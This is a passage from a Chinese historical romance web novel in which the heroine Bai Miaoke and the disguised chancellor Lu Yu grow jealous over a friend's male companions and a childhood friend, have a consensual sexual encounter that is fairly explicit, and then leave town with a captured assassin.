屋内的蔡狗外衫破了一大个口子,双手被麻绳捆住,头发凌乱,眼角和嘴角都红红地有些肿,腰带也不知所踪。
白妙可不知道怎么这么一会儿他能把自己折腾成这样,就听见身旁的陆瑜问:
“他是谁?”语气中带着几分不可置信。
49. 左右为男
“事情就是这样,所以他现在就是行走的五千两。”白妙可同陆瑜解释完今日的遭遇,只是巧妙地略去了她为何会认识鹰爪帮的人。
陆瑜点了点头,没说什么。
虽然朝廷与江湖上的各种帮派大多数属于井水不犯河水的状态,但是比较有名的几个组织,例如月影阁和鹰爪帮,他是听说过的。
都是出了名的收钱办事的杀手组织,以办事干净效率高而闻名。
知道刺客追杀到这儿了,陆瑜面上没什么表情,让人看不出在想什么。
白妙可却是敏锐地察觉到了他逐渐冷下来的气压,开口劝慰:“没事儿的,他们少帮主都被我绑了回来,应当短时间不会再轻举妄动。”
陆瑜点了点头:“是要尽快联系戎青了。”
白妙可附和点头,突然又想起什么,问道:“你上午去街上画画了?”
“嗯,送你。”陆瑜说着从袖中掏出一条鞭子,正是那日白妙可看中的那条。
她欣喜接过,挽了一个鞭花,这刀枪不怕的鞭子轻盈灵活地在空中转了一圈,最后缠在了白妙可的手腕上。
她从头到尾摸了摸这条新鞭子,满意地勾起唇角冲陆瑜说:“多谢夫君!”
说罢垫脚在男人的侧脸亲了一口。
一旁被重新捆住手脚堵住嘴的少帮主呜咽一声,没眼去看。
白妙可才想起来这屋里还有个人,她爱不释手地把玩着新鞭子,一个抬手用鞭子将人缠住拽到了面前。
阴测测地威胁道:“你最好老实一点儿,我夫君可不是好惹的!”
那位蔡少帮主看着缠住自己的鞭子,突然想起了什么,神情变得激动又恐惧,似乎真的是被白妙可的话给唬住了。
被放开以后,像个鹌鹑一样缩在角落,没再弄出什么幺蛾子。
接下来的几日陆瑜没再上街卖画,而是开始着手联络部下。
白妙可又去山上打了两只鸡回来,顺便去看望了最开始留宿的那户人家,她一直惦记着那个叫二丫的小姑娘,这次专门给她带了几本书过去,还悄悄留了几两银子。
陆瑜就作画两天便挣了不少,给她买完鞭子还剩了一些,完全足够他们日常开销,于是她就想感谢一下那家好心的人家。
送完银子,鸡也猎了回来,陆瑜将鸡挂到院子房顶上,等着海东青发现。
自己则坐在院子里洗着白妙可打猎弄脏的衣服,上面其实只是沾了一些泥土罢了,但是有些洁癖的丞相大人拿在手里揉搓了半天才算完。
对于洗衣服这事,本来小雨来做的,只是白妙可看这两个孩子聪慧,将两人都送到了镇上的学堂。
于是家里这些活计就落到了丞相大人身上,白妙可不是不想干活,只是洗衣做饭都被陆瑜给包揽了,她每日要不就是去街上招猫逗狗,顺便看看戎青找来没有;要不就是去山上打猎,也是为了看看之前借住的牛家村有没有新的情况。
就这么过了两天平淡的日子,白妙可结识了新的朋友--酒楼少东家云娘。
白妙可与那位云娘第一次见面便相谈甚欢,这两日闲来无事,两人关系更进一步。
白妙可发现这位云娘也是个妙人。她那老爹早几年前就去世了,剩下她一个孤女支撑这家店,起初经常受到镇上那些地痞流氓的骚扰,她就靠着两把菜刀和那张巧舌如簧地嘴,骂跑打跑了那些想欺负她的人。
还将家里的小餐馆做到了这镇上唯一一家的酒楼。
这还不是白妙可最欣赏她的地方,让白妙可与她交好的主要原因是,云娘的思想很是开放,她现在有钱有闲,不仅想招个赘婿,甚至还养了几个家里穷苦长相清秀的男子在家里。
两人相熟以后,她便邀请白妙可去家里做客。
在镇上也算得上数一数二的大宅院里布置得典雅精致,大花园小花园都有好几个,白妙可跟着云娘边走边看,赞许地点点头,“你这院子布置得好。”
云娘笑道:“白姑娘过奖了,真正好的在后头呢。”
白妙可好奇地问:“还有什么好东西?”
云娘笑笑没说话,只将人领进了后院。
后院当中有一处水榭,有纱幔遮掩,水中泛着几条小船,一阵风吹来,送来淡淡香气。
云娘拍了拍手,说了声“我回来了。”
便有几个男子从水榭一侧走了出来。
为首的那位一身红衣,明眸皓齿,一双上挑的狐狸眼,目光直直朝这边看来。
“夏郎,快来~我带了朋友回回来。”云娘冲他招了招手。
接着在红衣男身后走出位一身玄色劲装的男子,眉眼锐利,棱角分明。
白妙可小声嘀咕:“这位看起来会些功夫啊。”
云娘闻言笑着介绍:“对,秋郎原本是一个打手,受伤被我救了回来,”
他们说话的功夫,又有个一身青色长袍的男子小跑了出来,他的头发束成一个高高的马尾,看上去少年气十足,离得老远就冲这边招手。
云娘挥手回应他,介绍道:“这是春郎,是年纪最小的一个。”
“看起来还不及弱冠?”白妙可问,有些好奇这也是云娘养的男人吗。
似乎是读懂了白妙可的疑惑,云娘捂嘴笑了起来,凑到她的耳边压低声音道:“妹妹不懂,越是年轻的越是厉害呢~”
这事儿白妙可还真是不太清楚,将这个新知识点默默记下。
接着那头又走出来了一位白衣胜雪,长发飘飘的美男,步履款款,仿佛不食人间烟火的谪仙下凡。
“这位是?”白妙可饶有兴致地问,这人的长相和气质都有那么三分像陆瑜,当然那张脸还是比不上的。
“这是冬郎,是我从楼里买回来的清倌,长得不错。”看得出来云娘对他也很是喜爱。
但是她说罢又小声补充了一句:“同你那赘婿还是比不得的。”
白妙可莫名有些心虚,摸摸鼻子没有接话。
四个人走到近前,站成一排,眼神若有似无地看向白妙可。
“这是我请来的朋友白姑娘,可要好好招待。”云娘挨个摸了摸手,轮到那位白衣的冬郎,摸了摸那张清俊的脸说道:“弹一曲助兴吧。”
说罢拉着白妙可坐在了一旁的躺椅上,旁边的小几上摆着新鲜的果盘。
四位风采各异的男子在水榭的亭中各自落座。
“白姑娘想听什么曲?”云娘问。
“就弹一个最拿手的吧。”白妙可也不清楚江南这边流行什么音律,但是她在京城的时候可没小去勾栏听曲,什么头牌花魁的,也是见过不少市面。
但这样的表演,她还是第一次
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见。
白衣的男子坐在湖畔抚琴,随着清脆如流水般的琴音,一身红衣的男子翩然起舞,仿佛一只挣脱牢笼的蝴蝶,又像是一簇热烈燃烧的火焰。
正当白妙可被舞蹈所吸引的时候,一旁的黑衣男子拔剑出鞘,带着破竹之势挽了一个剑花,伴随着琴声开始舞剑,一招一式都充满力量,也不乏美感,顿时看得白妙可双眼放光。
此时身穿青衣的少年开口唱起江南小曲,同他说话的声音全然不同,青衣唱腔唱着吴侬软语,直勾得人心痒痒。
四人可以说是各有长处,各显神通,白妙可忍不住拍手称赞:“好!真好!”
云娘拿起桌上的酒盅替白妙可倒了一杯,拿起自己面前的那杯饮尽,说:“女人就该如此,自己舒心比什么都强。”
白妙可也端起酒杯一饮而尽,是甜甜的果酒,她赞同地点头:“何必管其他人的看法,要我说,恐怕公主都没有你会享受呢。”
“你真如此想?”云娘问。
“对啊,你看你有钱花,不用看别人的脸色,还有这般美人相伴。”白妙可露出羡慕的神色。
“可是外面的人都说我不守妇德,有伤风化。”
听见她这话,白妙可笑了,云娘说着说着自己也笑了,两人对视一眼,心照不宣地碰了个杯。
“不过是那些人得不到又嫉妒心作祟编排的自我安慰罢了,何必放在心上。”白妙可欣赏着亭中的表演,随口安慰道。
虽然语气随意,但是极擅察言观色的云娘看出她是真这么想的,情不自禁地笑了笑。
两人看着表演,吃着水果,饮着果酒,相谈甚欢,不知不觉就过去了半个时辰。
琴声落幕,云娘招招手让几人过来。
红衣男子直接自觉地坐在了两人中间,青衣少年则缩进云娘怀里撒娇,白衣男子端坐在两人对面的椅子上,黑衣男人立在一旁,抱臂看着,没有动作。
云娘将青衣男子拉开一点,嗔怪道:“怎么不知道先照顾客人。”
说罢转头问白妙可:“妹妹喜欢哪个?”
“各有所长呢~”这幅语气很难不让人想歪。
白妙可短促地啊了一声,“不太好吧。”
她还是第一次面对这种情景,她从前是有贼心没有贼胆,这次居然直接送到自己面前了。
“你们可愿意伺候白姑娘?”云娘询问几人。
白妙可也是个绝色美人,众人怎么可能不愿意,除了依旧缩在云娘怀里的年轻少年,其余三个男人都或轻或重地嗯了一声。
“这……”都送到自己跟前了这,白妙可一时之间想不出拒绝的理由,再加上方才喝了些酒,此时酒意上头,她感觉有些飘飘然。
情不自禁将视线投向几个男人,在心中暗自比较。
还是觉得端坐在一旁的白衣男子有些熟悉,醉眼朦胧中那张脸逐渐变成陆瑜的模样,偏偏眼神中比他多了几分欲拒还迎的意味,一下子勾起了白妙可的兴趣。
她直愣愣盯着白衣男子看,似乎在确认他到底是不是陆瑜。
殊不知她这神情在云娘看来就是选好了,她笑着同那男子点头示意。
白衣男子这才主动起身朝着白妙可走去,坐到她身侧,想将人拉进怀里的时候。
门口突然冲进来一个不速之客。
50. 干柴烈火
白衣男子坐在白妙可身侧,正用一只手虚虚揽在她的背后,低头说着些什么。
白妙可没有仔细去听,而是抬头看着院门的方向,那里站着让她看一眼便再也移不开视线的人。
巧合的是,陆瑜今日也穿着一身月白色衣衫,头发用玉冠半束,不知是不是匆忙赶过来的,他的面色比平日要红润些许,胸膛微微起伏,正一眼不错地盯着这边。
白妙可情不自禁地被他吸引,隔着朦胧醉眼看着男子如谪仙降世一般,衬托得这院中的男人黯然失色,忍不住就要起身去找他。
“你来啦!”说着露出一个灿烂的笑容。
白妙可多少有些醉了,脑子有些迟钝,所以没有注意到男人有些阴沉的脸色。
一旁的云娘却是清楚地察觉出了骤然降低的气压,笑着打圆场:“秀才来了~我刚想送白姑娘回去呢。”
陆瑜没有接话,甚至没有分给她一个眼神,只是快走了两步,扶住了朝自己走来的白妙可。
自然而然地将人搂进了怀里,在她看不见的位置,偏头冷冷地瞥了一眼愣在原地的白衣男子,若是熟悉他的部下看了就会清楚这是想杀人的眼神。
那位白衣男子被他阴沉的目光看得发毛,不自觉地低头避开。
对于这些无声的硝烟,白妙可一无所知,她窝在男人怀里,一只手摸着男人紧实的腰腹,另一只手与他十指紧扣,嗅着男子身上青松般的香气,轻轻在他胸口蹭了蹭。
陆瑜方才看见她跟其他男人坐在一起而生出的熊熊怒火瞬间被转移,他单手搂着她,转身便要往外走。
白妙可却还有些意识,在男人禁锢的臂弯中艰难扭头,冲着身后喊道:“云娘,我回去啦,下次再玩!”说着还想抬手摆一下,才发现男人比自己大一圈的手紧紧扣着自己的五指,难以挣脱。
想了想,白妙可也用力回握过去,从小习武,她的力气可以说是大得吓人,陆瑜感受到她的力道,却缓和了些许神色。
所幸晚上街上的人并不多,两人就这么互相搂着腰又牵着手,勾勾搭搭地回了家。
回家以后,小风小雨两个孩子已经在前院睡下了,他们明日还要去学堂,陆瑜便独自去找人,没有知会他们。
回来的路上白妙可一直絮絮叨叨地说着云娘的生活有多么舒坦,她的思想多么超前,说着女子就该如此之类的话,语气难免带了些欣赏。
陆瑜听了一路,除了搂着她腰的手逐渐收紧以外,没有任何其他的反应,看上去十分平静,似乎并不在意。
到家以后白妙可就发现他换了副嘴脸,推门进屋以后就将自己抵在门上,沉着嗓音问:“你羡慕她吗?”
“有点儿吧。”白妙可还没有意识到事情的严重性,老实地答道。
听见她的回答,陆瑜咬了咬后槽牙,接着问:“你也想养上几个男人?”
白妙可刚想开口,否认的音节还没发出就被堵在了喉咙里,变成一声猝不及防的呜咽,“唔……”
她不知道陆瑜怎么突然就吻了上来,还未反应过来,就已经牙关失守,立刻被入侵被搅动被带着沉沦。
白妙可觉得这次亲的比以往任何一次都要激烈,让她刚刚清醒一些的脑子又成了一团浆糊,渐渐地有些喘不上气来。
她想要偏头躲开,陆瑜又像疯狗追踪猎物一样贴了上来。
白妙可有些不满地蹙了蹙眉,抬手想要将人推开,却被抓住手又放到了男人的后背。
与此同时,唇上温热的触感逐渐变缓,从狂风暴雨转化为春风细雨,辗转研磨,挑逗勾缠。
白妙可从中觉出了前所未有的趣味,因此放弃了抵抗,转而将放在他腰上的手逐渐上移,勾住了男人的脖子。
宽大的袖口滑落,露出一节白玉般的手臂,缠着男人乌黑的墨发,又紧紧攀附在他的后颈,仿佛一松手便要软倒下去。
两人纠缠着后退,直到陆瑜的后腰碰到桌边。
白妙可微微用力,将人按到桌边的矮凳上面坐下。
接着自己也坐到了他的腿上,便比他高出了一截,她低头看着陆瑜的双眸,觉得那双深邃的眸子比平时更加晦暗,而且还多了些她不太懂的意味。
伸手抚上男人的侧脸,看着他微微偏头配合自己的动作,白妙可唇角微勾,手指一点点地从下颌往上挪动。
似乎是在描摹世间最美的画作,神情专注又欣赏。
最后一双素手轻轻覆在了那双痴迷的眼睛上,隔绝了他灼热的视线,然后奖赏一般俯身低头吻了上去。
陆瑜甘之如饴,仰头回应,一只手紧紧攥住了桌子的边缘,用力到青筋凸起。
可是小荷才露尖尖角,不退不让地立在那里,让人难以忽视。
此时白妙可感觉自己的酒意好像退去了,不然怎么会立刻便知道那是什么,勾勾唇角轻轻晃动了一下身体。
她微微仰头,结束了这个绵长的吻。
但是捂着他双眼的手还没拿走,感受着掌心他的睫毛轻颤,坏心眼地捂得更紧。
看着男人不安滚动的喉结,豆大的汗珠顺着脖颈滴落到衣襟,消失不见。
白妙可好奇地隔着衣料捏了一下,耳边就传来了陆瑜骤然加重的呼吸,同时手里的物件好像跳动了一下,灼人的热度透过布料传递到手心。
居然还能动?白妙可更加新奇了,素手握紧,顺着滑动。
“别。”靠在她肩头的陆瑜声音有些不稳,甚至带着些祈求。
可是这低沉沙哑的嗓音,加上难以忽视的粗重喘息,白妙可没有松手,只是忍不住挪动了下身体,似乎也在忍耐着什么。
伴随着一声长长的呼气,白妙可突然腾空被男人抱了起来。
“啊~”她发出一声短促地叫声,却又立刻停住,不太明白自己的声音怎么会这么婉转。
但是这一声像是给了陆瑜什么信号,他轻松地抱着白妙可迈着大步向着床边走去。
接着白妙可就被扔到了柔软的被褥上,刚嗅到今天刚晒过的阳光的味道,紧接着就被男子身上那股清冽的气息所包围。
一只修长的手扯落床帐,然后那身月白色的长袍被丢了出来,接着一件又一件衣裳轻飘飘落地。
“可儿,我回京便去提亲。”
“说这些干啥,你快点儿啊!”
“唔,好。”
“哎,不是这儿吧?!”<
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“呃……”
“呜呜疼疼疼,你别动!”
白妙可不轻不重地抓了下他的背,留下一道醒目的红痕。
卡在不上不下的位置,豆大的汗珠从陆瑜额头滚落,觉得自己没被刺客杀了,却要被绞死在这温柔乡中了。
他便也一动不敢动地停在关键位置。
直到白妙可难耐地哼了一声,那只素手轻飘飘地拍了他一下。
嘴里含糊不清地说着让他快点儿,同时溢出几声醉人的嘤咛。
陆瑜沉迷其中,恍惚间觉得自己大概也是醉了,才会如此飘飘欲仙。
他从前只听说话美人香消魂骨,却没想到竟然是这般美妙滋味。
窗外不知何时下起大雨,老话说一场秋雨一场寒,却浇灭不了干柴烈火。
“慢点儿!”
“陆瑜,我说让你慢点儿!”
“唔……唔。”
再后来就只有女子破碎的声音传来,千回百转,已经拼不成完整的句子。
又不知过了多久,雨声渐歇,只有屋檐下滴答的水珠落在窗沿上,晕湿了一大片。
白妙可蜷在床上一动不想动,觉得腿已经不像是自己的了,身边的丞相大人也没有好到哪里去,胸口的伤口传来隐隐痛意,酸痛的后腰也在发出抗议。
但是他还是固执地将人圈在怀里,轻吻她的发顶,胸腔中满是欣喜和幸福,多得都要溢了出来。
他轻声喊道;“娘子。”
白妙可方才情急之中不知喊了多少声夫君了,此刻懒得应付他,从嗓子里哼了一声算是回应。
“娘子,我好爱你。”陆瑜也不在意,自顾自地说着话,语气是前所未有的温柔。
“嗯。”白妙可依旧像个餍足的猫一样窝在他的臂弯里,应了一声,这话他方才也已经说过好几遍了。
“那你呢?”陆瑜忍不住问。
没等她回答就接着说:“我们已经有了夫妻之实,回京便成亲好不好?”
“好。”得到满足的白妙可似乎格外好说话。
闻言陆瑜将人搂得更紧了一点,庆幸自己方才表现得还行,还想同她说些什么,却低头发现人已经睡着了。
起身打水擦洗收拾好两人的陆瑜重新躺回床上的时候天已经微微泛起了鱼肚白。
眼见再过一个时辰就到他平时起床的时间了,陆瑜却依旧毫无睡意,魂牵梦绕的女子在自己怀中安睡,是不是就要翻身踢腿,陆瑜却依旧笑得一脸满足。
心思却逐渐飘远,想起自己看见那白衣男子坐在他身边的时候觉得自己从未如此生气又难过,种种复杂的情绪交织在一起,堵的他喘不过气来。
一番云雨,心头那些不快早已烟消云散,外头那些男人算什么,她只是同他们说说话而已,她心里还是有自己的。
自我安慰结束,他又想起了去江南要查的事情,恨不得立刻插翅飞过去将事情办妥,好快些回京成亲。
又想到回京以后白妙可的商户女身份难免会受到诟病,还是要去求个圣旨赐婚才好。
不知乱七八糟地想了多少,天快亮了他才搂紧怀里的女子,轻吻在她额头,然后沉沉睡去。
51. 事后清晨
没什么意外,两人都睡到了日上三竿才起。
多年习武的底子不是白练的,白妙可睁开眼睛伸了个懒腰,只觉得神清气爽,昨夜的腰酸背痛早已消失不见,只有身上的点点红痕昭示着昨夜的放纵和激烈。
在她醒来动了一下的时候,陆瑜也醒了,可是他就没有这般好运了,还未睁眼他就蹙起了眉头,察觉到了伤口处的疼痛。
想翻身看看身侧白妙可,腰上传来的酸痛让他脸色更黑。
白妙可注意到他的臭脸,不明所以地问:“怎么了?”
“无事,我去为你准备早膳。”丞相大人怎么可能承认自己是昨夜累狠了,只能咬牙硬撑,转移话题。
“好。”白妙可笑眯眯地看着男人起身,眼中对他身材的满意毫不掩饰,其中也不乏对于其他方面的满意。
注意到她的目光,陆瑜将腰又挺直了一些,甚至就这么光着身子走过去找衣服又走回来在床边穿上。
白妙可想起来曾经见过的一种来自西域的奇珍异兽,好像是叫做孔雀,觉得这样的陆大人有些像是孔雀开屏,可爱得很。
没让她久等,很快陆瑜就端了两碗面回来,直接放在了主屋的桌边。
白妙可还在赖床,蒙在被子里不肯起床,只有一节小腿露在外面。
陆瑜将人连带着被子一块儿捞起来,揉了揉她的头发,又捏了捏脸,柔声说道:“娘子,起来吃饭了。”
“那你替我穿衣服。”白妙可继续耍赖不想动弹。
没什么犹豫,陆瑜就拿起一套干净的衣服要往她身上套。
白妙可摆手抗议:“你是不是忘了什么?”
陆瑜不解地看过去。
“你不是过目不忘吗?不会脱得时候都没看见吧?”白妙可戏谑地调侃。
于是陆瑜肉眼可见地红了脸,因为昨夜他确实有些心急,哪里还顾得上她到底穿了什么。
红脸沉默片刻才想起来了,似乎是有一件穿在最里面的小衣,被他手快扯坏了。
“放在哪里了?我去帮你拿。”陆瑜状若无事地说。
“最上层。”一只嫩白的胳膊从被子里伸出,指了指衣柜的位置。
“好。”陆瑜打开衣柜最上层,果然在其中装了各式的小衣,光天化日的,他不敢多看,随手拿了一件出来。
到手只觉得像是没有重量一般,轻飘飘的一件。
他递给白妙可,还顺手将床帐放了下来,自己则坐到一边的桌旁侧过脸去等着。
看上去面色平静无波,像是寺庙最清心寡欲的佛子。实际上,听着账内窸窸窣窣的动静,内心无限回忆起昨晚的种种。
一时有些口干舌燥,刚拿起水壶给自己倒了杯水,就听见床上传来少女的声音:“夫君,我穿好了。”
接着床帐被拉开,一身素色衣裙的少女娇娇俏俏地从床上下来,未施粉黛的脸上带着睡醒自然的红晕,像是刚刚熟透的水蜜桃,让人忍不住咬上一口。
两人一人一碗面吃完,便已经到了晌午。
陆瑜从厨房拿出准备的第四只鸡,继续引诱海东青。
白妙可接过鸡,飞身跃上房顶,将这只还在活蹦乱跳的鸡那绳子绑在屋顶的瓦片上。
前两日放的那三只鸡已经一命呜呼了,海东青还是没有吸引过来,她都不禁怀疑陆瑜这法子有没有用了。
纵身一跃而下,她发现陆瑜的神色也比前几日多了些焦躁和不安,不复那般从容。
这两日她在街上其实不只是闲逛,也是为了碰碰运气,看看月影阁有没有派人过来。
上次放走那个鹰爪帮的杀手应该已经将消息带到了,接下来,不论是鹰爪帮还是月影阁,都应当派人过来了。
可惜她在街上晃悠了好些天都没有什么收获。
意外之喜可能就是昨日去云娘那里做客,能让陆瑜这般吃味失控。
啧啧啧,白妙可咂巴了一下嘴,回味了一下,突然懂了牡丹常说的男女之事妙不可言是何意思了。
风卷着落叶吹过,带来一阵寒意。南方的冬天来得格外晚一些,若是在京城,再过不了多久都要飘起雪花了。
前面奔波赶路的日子仿佛都已经过去许久了,他们在这个小院里岁月静好。
以至于白妙可到今日才突然发现,他们离开京城已经一个多月了,距离太傅马鸿哲信上说的年底也不剩多久了。
于是白妙可同陆瑜说:“你这伤也好了许多,不能再拖了,再等一日,我们便出发。”
“只能如此了。”陆瑜点头,心中却是百转千回,思考戎青是不是出了什么事情,还是被什么绊住脚了,否则不该如此。
这镇子终究是偏僻,也是时候离开这里出去打探一下外面的消息了。
两人都是雷厉风行的性格,当天下午就开始着手做离开的准备了。
下午白妙可带着陆瑜先去了武器铺子,从那家买了那价值不菲的鞭子以后,掌柜的见到二人便格外热情。
“呦,您二位来啦!那鞭子用得可还顺手?这次需要些什么?”
“鞭子很好,你这儿有没有小点儿的暗器?”白妙可随口应着,在店里走走逛逛。
陆瑜走在她一侧,看着架子上琳琅满目的兵器,有的他见过能叫得上名字,更多的是他从未见过的奇形怪状兵器。
“你还是用袖箭吧。”白妙可从角落拿起一个小巧的袖箭比划两下,对着窗外射了一箭,击落一片泛黄的树叶。
“妇人真有眼光,这袖箭是我们店里师傅改良过的,更小巧方便,正适合公子这般……”店家话音未落,店门外进来位一身黑衣的男人接话道。
“废物。”
听见这声音,白妙可惊喜回头,待看清来人后,三步并作两步跑了过去。
“萧恒!你怎么来了!”
男人正是月影阁的阁主萧恒,收到白妙可托人带回去的消息以后便马不停蹄地赶了过来,可以说是满身风尘。
但是陆瑜却注意到他虽然眼下有些黑青,但是一根胡茬都没有,显然是精心收拾过,带着些跟满身风尘仆仆不太相符的俊美。
男人说那句废物的时候带着的戾气在见到白妙可朝自己跑过来的时候瞬间收敛,笑着朝她张开手,却被走近的白妙可拍了拍肩。
“真是给面子啊,这点儿小事还得你专门过来!”白妙可自然而然地站到他旁边同萧恒聊了起来。
“你没事儿吧?”萧恒也笑着问她。
“没事儿,哦对,忘跟你介绍了。”白妙可拉过从方才开始就一言不发的陆瑜介绍到。
“这位……呃,你应该认识哈。”白妙可想起来掌柜的还
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站在一边,于是含糊其辞地说了一下。
殊不知自己这话听在陆瑜耳中就是不愿意承认关系了,他心中生寒,昨夜两人还在耳鬓厮磨,今日这么没良心的坏女人就要抛弃自己了。
身边毫无所觉的坏女人还在同萧恒说话:“你是如何知道我在这儿的?”
“你刚才射的那一箭。”萧恒言简意赅,他们自幼一起习武,十分熟悉彼此的招式和习惯。
“哈哈哈,真有你的!”白妙可笑得爽朗,也没忘正事儿,转头跟萧恒继续挑武器去了。
走到一旁白妙可才压低声音问萧恒:“鹰爪帮那老头给钱了吗?”
萧恒点点头:“以你的名义存在白家钱庄了。”
白妙可满意笑笑,心中充满了大赚一笔的喜悦。
殊不知,两人在这儿窃窃私语的时候。
陆瑜立在一旁,面色如霜,一言不发地盯着两人熟稔自然的动作,手上碾着扳指,不知在想些什么。
再次跟白妙可这位青梅竹马见面,陆瑜发现自己比上次见他被他刺了一刀的时候,更加不爽。
一向喜怒不形于色的丞相大人面上依旧没有什么表情,只有那双深邃的眸中渐渐盛满阴郁,被恰好看过来的白妙可一眼看穿。
“来,给你买的袖箭。”白妙可直接将人拉了过来,抬起他的手腕比划着替他绑好,神情动作无比自然。
阴霾瞬间被驱散,陆瑜朝她笑笑,看也未看一旁的萧恒,只说道:“多谢娘子。”
“你叫她什么?!”萧恒惊讶地问。
看着店主投来好奇地目光,白妙可撂下一块银子,紧接着立刻一手一个将这两个不省心的拽了出来。
陆瑜乖乖跟在她身后,悄无声息地勾起了唇角,青梅竹马算什么,不过是早几年认识她罢了,自己现在可是同她有了夫妻之实的夫君。
结果下一秒就听闻少女刻意压低的声音:“我们是假扮的。”
陆瑜猛的抬头看她,满眼的不可思议,他们明明已经……为何她还要说是假扮的?
反观萧恒却是松了一口气,对白妙可说道:“先前身不由己就算了,我都来了,何须你在委屈自己,别管这个拖油瓶了,我送你去江南便是。”
被说成拖油瓶的陆瑜也没有生气,只是紧盯着白妙可,想听她亲口说。
夹在中间的白妙可已经意识到事情有点奇怪了,她只好先安抚两人的情绪说道:“你来的真的太及时了,我们三个人明日便启程。”
“我们三个?你知不知道外面还有不少人在找他?”萧恒还是不理解她为何非要带上这个麻烦。
“我知道,但是我不能同他分开,你要是介意大可自行离开,就当没来找过我。”一向对自己人都很是好脾气的白妙可难得说得如此正色。
“好好好!”萧恒连说了三个好,看着白妙可仍然拽着陆瑜没有松开的手和下意识挡在他身前的动作,咬牙瞪了一眼陆瑜,纵身一跃离开,很快消失在视线中。
陆瑜定定看着白妙可气鼓鼓的模样,心中充满了感动,她还是第一次这般维护自己,他早就看这个萧恒不顺眼了,此刻觉得畅快非常。
但是一开口却是温婉如玉的君子风范:“他特意来找你,我是不是让你为难了?”
白妙可:……要不你压一下嘴角呢?
52. 交换男人
“要走了。”白妙可说着拿起一个小包袱,里面装的几乎都是买来的各色兵器,说着有些不舍地看着他们住了半个多月的小院。
走之前白妙可还特意去找了一趟云娘,这次陆瑜说什么都要跟她一块,到了云娘家又只是立在一旁看着。
白妙可同云娘说了自己要离开的事情,还悄悄告诉她有机会她还会回来找她玩儿的。
云娘也拉着她的手有些舍不得:“你怎么这便要走了,我院里的人你还没试一下呢?”
“不了不了不了。”白妙可连连摆手,看多了陆瑜以后,那些人就有点看不过眼了。
没想到云娘又凑到她耳边悄悄说:“太可惜了,我本来还想同你换着享用呢。”
“换?!换什么?”白妙可不可置信地瞪大了眼睛,有些似懂非懂,她从前在京城是听说过有些权贵之间会交换侍妾,但是交换男人?还是闻所未闻。
云娘笑着拿扇子挡住了白妙可的嘴,怕她又口无遮拦说些什么惹了她家那位不快。说来也奇怪,明明只是个招赘来的穷书生,她却总是觉得他身上有种迫人的气势,让人有些不敢靠近,说要交换也只是想想而已。
白妙可也看出了她的坏心眼,笑着拍了拍她的手说:“你留着自己享用吧。”
虽说此事绝不可能发生在堂堂丞相身上,但她光是想想心里就有些不舒服了,这难道就是拈酸吃醋的感觉,白妙可第一次体验,感觉还挺新奇。
不知是不是他俩这几句话被人听去了,从进门起便一言不发的陆瑜突然开口说:“走吧。”
“那我们走啦。”白妙可闻言立刻松开云娘的手,朝着陆瑜小跑过去,成功收获了云娘的一个白眼。
云娘将二人送到门口,扶着门框摆摆手:“祝你们顺利,记得回来玩啊~”
白妙可大大地点了点头,他们肯定还是要回来的,她还拜托了云娘帮忙照顾一下小风小雨两个孩子,承诺等他们解决了事情再回来接他们。
陆瑜的伤势已经没有大碍了,于是两人买了两匹马,离开镇子以后继续向南,还没忘记带上掳回来那位鹰爪帮的少帮主,绑好了手脚一块上路。
走了没多久就到了两人最初落脚的牛村。
正是晌午时间,袅袅炊烟从一处处农舍中悠然升起,静谧祥和。
行至村口,两人都不自觉地放慢了速度,不愿打破了这里的宁静。
“都走到这儿了,去看看二丫吧。”白妙可还惦记着那个可爱的小丫头。
陆瑜点点头,将马栓好也跟着她拐进了村子,心里想她还挺喜欢小孩子,等成婚以后……
村子很小,两人从村头走了没多久就到了张大哥家那处小院子。
中午太阳正好的时间,隔着矮矮的石头垒砌的围墙就看见这一家人正在院子里用饭,还是围在院里那张石桌上,二丫正对着院门,坐在石凳上面,短短的小腿一翘一翘。
看见出现在院门处的两人,小姑娘从石凳上跳下来,飞快地跑过来替他们开门。
嘴里还喊着:“姐姐你来了!”
“爹,娘,神仙姐姐来了!”
白妙可笑着将她搂进怀里,有些好笑地问:“你叫我什么?”
“神仙姐姐呀,我都听说了,你上回像天上的神仙一样从天而降打跑了坏人。”二丫眨巴着崇拜的大眼睛看着白妙可说。
逗得白妙可忍俊不禁,摸了摸她头上的两个小揪揪。
接着打招呼道:“张哥张姐,我们要走了,来同你们说一声。”
桌旁的两人看见他们来了早就放下了手里的碗筷,张姐要去厨房给他们加几个菜。
张哥则拉着陆瑜感谢他上次画得弩箭图,不仅更好猎到猎物了,而且还能震慑山里的猛兽,现在村子里的几个猎户都已经换上了这种轻便好用的弩箭。
几人聊得正欢的时候,被绑住的那位鹰爪帮少帮主啐了一声:“呸,这明明是我爹改良出来的弩箭,他一个臭丞……唔。”
话未说完,就被反应极快的白妙可拧着耳朵拽到了一边。
“原来在船上那些人也是你们鹰爪帮的啊,新仇旧怨加在一起,可别怪姑奶奶没有提醒你,我随时可以杀了你。”
“给我管好自己的嘴!”接着看似轻飘飘地拍了拍他的脸,手抬起后却有一片红印子十分明显。
陆瑜被他说了也没什么恼意,只默默盯着一处,视线明显放空,不知在想些什么。
最后白妙可还是拗不过热情的张姐,手里多了一兜吃的,有自家腌的腊肉,还有好存放的干粮。
好在白妙可也不是没有准备,她从自己的包袱里掏出几本书,从三字经到大学论语,一股脑塞到二丫手里。
“你要好好念书,等我忙完了再来找你玩儿啊!”说罢捏了捏小姑娘的发包。
辞别以后继续上路。
白妙可骑在马上晃悠悠地想,也不知道二丫啥时候能发现她夹在书页里面的银票。
走之前她特意去把陆瑜最近赚来的银子都换成了银票,方便携带,而且离开这偏僻小镇去了附近的洲城,就有白家的商铺了,那她就不必再为银子发愁了。
按照提前规划好的路线,他们走了半日便到了江洲地界,江洲就已经离姑苏很近了,若是顺利的话,再有三五日便能抵达目的地。
赶在天黑之前,两人找了个驿站落脚。
本朝的驿站分为两种,一种专门给朝廷派来的官家人住的,也称官驿;还有一种就是给路过的平民百姓住的,称之为民驿。
两人依旧是隐姓埋名出行,自然住在民驿里面,但是这处的两个驿站很是特殊,官驿跟民驿设在同一处院子里面,仅有一墙相隔。
“老板,来一间客房。”
陆瑜肩上搭着一个包袱,装着两个人的几件衣裳还有些防身用的武器之类的,白妙可站在他身后两手空空,背着手只有一双大眼睛滴溜溜地观察着周围。
“还是两间吧。”还没等老板回话,白妙可就说道,眼睛有意无意地往门外瞟去。
“你不与我一间?”陆瑜偏头问她,若是从前他定然是默默生气,便是有怨言也绝不会开口自找难堪,但是他二人现在已经有了夫妻之实,他便确定白妙可心里的确是有他的,夫妻之间有话便要说清楚才好。
